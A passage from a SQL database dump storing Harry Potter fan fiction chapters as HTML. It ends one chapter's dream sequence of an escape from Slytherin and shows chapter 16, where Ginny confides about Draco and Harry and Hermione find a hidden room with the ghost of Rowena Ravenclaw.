you.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Leelee didn&#8217;t answer, she stared at the floor as they walked.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Ulrich nervously ran a hand through his hair.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;There is someone waiting for you in the tower.&#8221; Ulrich opened the door\nand Kai was sitting on the edge of the bed, he stood when he saw them enter the\nroom.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai ran over to Leelee, bruises were forming all over her face.&nbsp; &#8220;What happened?&#8221; He glared at Ulrich, &#8220;what\ndid you do to her?!&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I didn&#8217;t do anything!&#8221; Ulrich glared back, &#8220;my father did.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;That bastard, I&#8217;ll kill him.&#8221; Rage was clearly written on Kai&#8217;s face.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Don&#8217;t be stupid, you won&#8217;t stand a chance against my father.&#8221; Ulrich\nreplied as he pushed Leelee towards Kai.&nbsp;\n&#8220;Just take her and go.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Leelee stepped away from Kai, &#8220;I&#8212;I can not go with you.&#8221; She didn&#8217;t\nlift her head.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Ulrich looked down at her, &#8220;what are you talking about, of course you\ncan.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;N&#8212;No, I can&#8217;t leave.&nbsp; Your\nfather will kill me if I do.&#8221; More tears fell from her eyes.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;He can not kill you, if he can not find you.&#8221;&nbsp; Ulrich lifted Leelee&#8217;s&nbsp; face with a gentle finger, &#8220;go with Kai, he\nloves you, you love him.&nbsp; Nothing should\nstand in your way, not even the threats from&nbsp;\nmy father.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Leelee looked at Kai she longed to go with him, it was true if they\nleft together not even Salazar Slytherin would be able to find her. She nodded\nwith a tiny smile and flung herself into his arms.&nbsp; Leelee felt his arms circle around her,\nholding on so tight.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She pulled back then grasping his hands, She felt a soft piece of\nmaterial caressing her shoulders, Ulrich had thrown his warm cloak over\nLeelee.&nbsp; She turned back to look at him.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Thank you Ulrich.&#8221; She had tears in her eyes, but these were tears of\njoy, not pain or suffering.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Go on, go before you get caught.&#8221; Ulrich replied.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai pulled her towards the window, and told her to climb on his back\nand wrap her legs around his waist.&nbsp; She\ndid.&nbsp; He stepped out of the window and\nonto the large windowsill, Kai grabbed a hold of his rope and started climbing\ndown to where his horse was waiting for him.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">They reached the ground and Leelee let go of Kai, He climbed up onto\nhis horse and bent down some grabbing a hold of Leelee&#8217;s arm helping her up\nbehind him.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Hold on tight.&#8221; He said with a smile.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Leelee did just that.&nbsp; And she\nand Kai atop a mighty stead were heading further and further away from Salazar\nand her prison.</i>&#8212; Zara&#8217;s arm tightened around Ron&#8217;s waist, and she smiled in\nher sleep.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">========</p>\n\n<p class="MsoNormal">&nbsp;*sigh* What a\nbeautiful ending to this chapter. Well stay tuned for Chapter 16-- Do You\nRemember When?&nbsp; Please Read and Review,\nthanks, Ryoko</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(41, 16, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Disclaimer:\nAlright all the Harry Potter characters belong to J.K. Rowlings, except for the\nplot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai,\nFinley and Orvin.&nbsp; Those are mine. So\nplease don&#8217;t sue me because I don&#8217;t have anything</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter 16&#8212;Do You Remember when.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nmorning sunlight caused Ginny to open her eyes, she looked over at the clock on\nthe wall it read six thirty.&nbsp; She had just enough time to get dressed and\nhead down to breakfast before classes started for the day.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It\nwas week into the new term, and she was finding it harder and harder to keep\nher relationship with Draco a secret, it seemed that ever since her brother\ncame back from his trip he had been extra nosy.&nbsp;\nShe walked into the great hall and saw her brother and his friends\nalready eating at the table, all except Hermione who was eating and reading\nfrom a text book at the same time.&nbsp; It\nsimply amazed Ginny that Hermione could carry on like that without spilling\nanything onto her book while she ate.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nsat down across from Hermione sitting next to Dean Thomas, the table shook a\nbit as she got comfortable and grabbed for a piece of toast.&nbsp; Hermione looked up at Ginny when the table\nshook.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Good\nmorning Ginny.&#8221; Hermione said pleasantly returning to her book.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione\ncan I talk to you, you know,&#8221; Ginny leaned in closer to Hermione who was\nclosing her book.&nbsp; Ginny got as close as\nshe could get being across the table. &#8220;About love, can we go somewhere private\nand talk.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure\nGinny, we can talk on the way to my Arithmancy class. Since Harry and Ron have\nDivination right now we have to go in opposite directions.&#8221;&nbsp; Hermione was about to get up from her seat\nwhen she felt a hand grab hers and she stopped.&nbsp;\nShe looked to find Harry smiling at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Gonna\ngo talk girl talk with Ginny?&#8221; He asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,\nI&#8217;ll see you in potions.&#8221; She smiled lightly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\npulled her to him and kissed her but only for a moment. Hermione pulled back\nwith a cute smile upon her lips, she threaded her fingers threw his hair a few\ntimes, &#8220;I&#8217;ll see you later.&#8221; Then she stood and left the great hall with Ginny.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nGinny, what did you want to talk about?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nHermione I did something horrible.&#8221; Ginny sounded desperate.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nis it Gin?&#8221; Hermione was genuinely concerned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nfell in love Hermione, that&#8217;s what I&#8217;ve done.&#8221; She looked down at her feet as\nthey walked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nthat&#8217;s not a horrible thing Gin, that&#8217;s really good.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione,\nI&#8217;ve fallen in love with Draco Malfoy.&#8221; Ginny said as tears started to swell in\nher eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Gin,\nyou know already what I&#8217;m going to say.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nI know, he&#8217;s bad, he&#8217;ll never change. I&#8217;ve heard it all before Hermione.&nbsp; But you don&#8217;t understand him, no one does.&nbsp; He&#8217;s lived a life void of love.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah\nwell so has Harry and he&#8217;s not a bastard. I would just be really cautious\naround Malfoy, who knows what he&#8217;s really capable of. After all he did give me\nthe Orb of Ellia don&#8217;t forget.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow that.&#8221; She said with regret.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\njust wouldn&#8217;t trust Malfoy as far as I could throw him, and that&#8217;s not far.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\ndo you think I should do, I can&#8217;t ignore my heart, but I&#8217;m also afraid of what\nwill happen when my brothers find out.&#8221; Ginny was so depressed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI don&#8217;t want to tell you what to do Gin, but do what you think is right. If you\nwant to follow your heart then do it.&nbsp;\nMalfoy, Ginny, are you sure he&#8217;s the one?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nnodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ntwo haven&#8217;t&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let&#8217;s\nnot get into that shall we.&#8221; Ginny interrupted Hermione rather quickly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ginny\nyou&#8217;re only fifteen how could even think of doing something like that?&#8221;\nHermione was shocked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nHermione, don&#8217;t you tell me you haven&#8217;t.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We\naren&#8217;t discussing me, we are discussing you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nyou weren&#8217;t exactly innocent at fifteen yourself you know, those nasty letters\nyou wrote to Ron.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ugh,\nwhy does everyone bring that up again and again?&#8221; She looked up at the ceiling\nas if asking the heavens for advice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\ngrinned &#8220;because, let&#8217;s face it Hermione, you are a bad girl, you may have\nlooked innocent, but on the inside you were baaad.&#8221; She smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nrolled her eyes at that comment &#8220;Ginny, all I&#8217;m saying is be careful. If you\nlove Malfoy&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Draco.&#8221;\nGinny corrected.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nam not calling him that,&#8221; Hermione spat, &#8220;but if you love Malfoy then go for\nit, but I stress caution. He can be very sneaky.&#8221; She placed a gentle hand on\nGinny&#8217;s shoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nwon&#8217;t tell Ron will you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No\nI won&#8217;t, but I suggest you tell him, it&#8217;s better if he finds out from you then\nfrom the grape vine.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well,\nI&#8217;ll consider telling Ron. Oh dear I&#8217;m gonna be late I have to go down to see\nMadame Pomfrey for my training.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nyes you&#8217;re trying to get into healing aren&#8217;t you?&#8221; Hermione replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yep,\nwell I best be off, see you at Lunch.&#8221; She turned and rushed down to the\nhospital wing and Hermione headed towards Arithmancy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\nHarry and Hermione spent some time in the astronomy tower gazing up at the\nstars and cuddling close together, they were walking under the invisibility\ncloak heading back to Gryffindor tower.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nstopped turned to Hermione and pushed her up against the wall, since no one\ncould see them, they could do anything.&nbsp;\nIt was true he found a certain courage while being invisible.&nbsp; He pressed his body against hers and covered\nher mouth with his. After a few moments of tasting her he pulled back,\nbreathless, &#8220;I know we agreed that we wouldn&#8217;t be intimate at school, but I&#8217;m\nfinding it harder and harder to resist you. Wanting to touch you and please\nyou, takes such willpower not to break our agreement.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow love, I feel it&#8217;s tough too.&nbsp; I have\nhard time controlling myself around you as well.&#8221;&nbsp; Her hands gently framed his face and she looked\ndeeply into his eyes. After what seemed like an eternity she pulled his mouth\nto hers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nwas lost in the sensations of his kiss, as she wrapped her arms around his\nneck, he begged for entry by flicking his tongue against her lips., she obliged\nand her mouth opened beneath his, as their tongues met, and a tingly sensation\nswam through both of them as he deepened the kiss.&nbsp; His body pressing hers harder up against the\nwall. They didn&#8217;t even notice the cloak slipping off of them revealing them to\njust about anyone that would be in the hall that night.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hearing\na meow, Hermione pulled her mouth from his to look over his shoulder. She found\nMrs. Norris looking right at her.&nbsp; &#8220;Um,\nHarry?&#8221; She breathed as his mouth was busy elsewhere.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hmm?&#8221;\nHe wasn&#8217;t really paying attention as he was kissing the spot between her neck\nand shoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nthink Mrs. Norris can see us, she&#8217;s looking right us and she made a noise.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nlifted his head and turned slightly to find Filch&#8217;s cat looking at them, he\nthen noticed the cloak was pooled at their feet behind them.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\ncrap!&#8221; He cursed and quickly bent to pick up the cloak, and he threw it around\nthe two of them.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nis it my sweet?&#8221; Filch asked his cat Mrs. Norris as he rounded the corner,\n&#8220;Students out of bed?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Under\nthe invisibility cloak Harry and Hermione pressed themselves up against the\nwall as they edged quietly away from the caretaker.&nbsp;&nbsp; Harry felt something digging into his back\nit had to be a rock, he reached behind him and tried to push the rock away, but\nrock seemed to push in like a button.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There&#8217;s\nno one here my sweet.&#8221; Filch said as he picked up his cat and started walking\nfrom the invisible students, he was soon around the corner and out of sight.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;With very little sound a piece of the wall fell\nback and so did Harry and Hermione, then landed on their backs staring up at a\nceiling the wind knocked out of them. They heard the sounds of a large rock\ndoor shift and move, the last remaining light vanished and they were left in\nthe dark. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Where\nare we?&#8221; Hermione sat up rubbing the back of her head where it had hit the\nfloor, there would be a huge bump there was no doubt about that.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t know.&#8221; Harry too sat up rubbing the back of his head, he reached into his\npocket and pulled out his wand. &nbsp;&#8220;Lumos&#8221;\nHe said and the tip of his wand lit up.&nbsp;\nHe looked around noting that they were in a hidden, possibly secret\nroom.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nnoticed there were candles all around the room. And he and Hermione went around\nsparking them to life.&nbsp; In no time the\nroom was brightly lit and they could finally get a good look at where they\nwere.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\npressed on Harry&#8217;s arm, getting his attention.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nis it?&#8221; He looked at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\ndidn&#8217;t say anything, only pointed ahead.&nbsp;\nHarry looked to where she was pointing, he had to do a double take at\nwhat he saw.&nbsp; He walked right up to it,\ntouching it as if it were a mirror. &#8220;What in the hell is this?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,\nwhy do these portraits look exactly like us?&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nit doesn&#8217;t look exactly like me, I mean the person in the portrait doesn&#8217;t have\na scar or glasses.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry\nbe serious, it looks exactly like you.&#8221;&nbsp;\nShe stared at portrait that looked exactly like her down to ever last\ndetail.&nbsp; She looked to the next portrait\nand it looked exactly like Draco and that was disturbing. The next one looked\nlike Ginny and then one looked like Zara without the purple hair, and then the\nlast one. It looked like Ron but without freckles.&nbsp; &#8220;What does this mean?&#8221; Hermione didn&#8217;t like\nthis at all, it was downright frightening. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ncan answer that.&#8221; A voice said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione turned to the sound of the voice and saw a ghost.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nare you doing here?&#8221; Hermione said &#8220;Are you following me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Turning\nto Hermione, Harry tapped her shoulder.&nbsp;\n&#8220;Hermione do you know this ghost?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nfaced Harry, &#8220;I met this ghost at the lake, I wouldn&#8217;t have found that necklace\nif it wasn&#8217;t for the ghost.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nhope you haven&#8217;t lost it.&#8221; The ghost said, &#8220;it&#8217;s very important that you don&#8217;t\nloose it. It is more valuable than you know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nput her finger to her sinuses, rubbing them.&nbsp;&nbsp;\nThings were going on around her, mysterious ghosts where popping in and\nout of her life as if to complicate it more. And she was finding it very\nconfusing, she did not like feeling that she wasn&#8217;t in control of her\nthoughts.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\npulled Hermione against him and her head rested against his shoulder, he knew\nher moods so well.&nbsp; &#8220;Just exactly who are\nyou and why are you haunting Hermione, what has she ever done?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nhave a right to know what&#8217;s going on.&#8221;<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re\ndamn right, now get to the point.&#8221; Harry replied he had run out of patience.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;In\nmy mortal life I was once Rowena Ravenclaw, something has happened and I was\nsent from the heavens to set it straight, it seems that some fool has\nresurrected Lord Salazar Slytherin.&nbsp; Who\never did it, well it was probably done on accident, Slytherin was tricky in way\nthat would bring him back from the dead. The spell was said to grant Salazar\nSlytherin&#8217;s power to the one who spoke the incantation. Little did the fool\nknow that it would also bring him back from the dead as flesh and blood, not\njust an apparition like me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re\njoking?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do\nI sound like I&#8217;m making a joke?&#8221; Rowena replied bitterly. &#8220;It is true, why else\nwould you be having the dreams that you do.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nthought a moment, &#8220;this has to do with me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not\njust you, but you and your friends.&#8221;&nbsp;\nRowena said as she sat down in an available chair.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nsmiled at Hermione who lifted her head from Harry&#8217;s shoulder. Rowena pointed to\nthe portrait which looked exactly like Hermione.&nbsp; &#8220;That was Jasmine Ravenclaw, my daughter.&#8221;\nShe then pointed to the portrait that looked exactly like Harry, &#8220;that right\nthere was Torrin Gryffindor son of Godric Gryffindor.&nbsp; Torrin and Jasmine were oh how do you say it\nnow a days?&nbsp; A couple, together.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nwas still confused, &#8220;I still don&#8217;t understand why we look exactly like them?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now\ndon&#8217;t be frightened when I tell you this, but you are them. They are you. As\nsoon as the soul chooses the body, the body well it always looks the same. Who\nknows how long their souls were around, they could be very old souls, but they\nwould still look like that.&nbsp; I know it&#8217;s\nhard to understand, I find it confusing myself. &#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\nnot possible, I&#8217;m nothing like the girl in my dreams.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And\nI&#8217;m nothing like the guy in my dreams who gets a kick out of sleeping with\nevery female in the entire world. I&#8217;m just not like that.&#8221; Harry added, </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 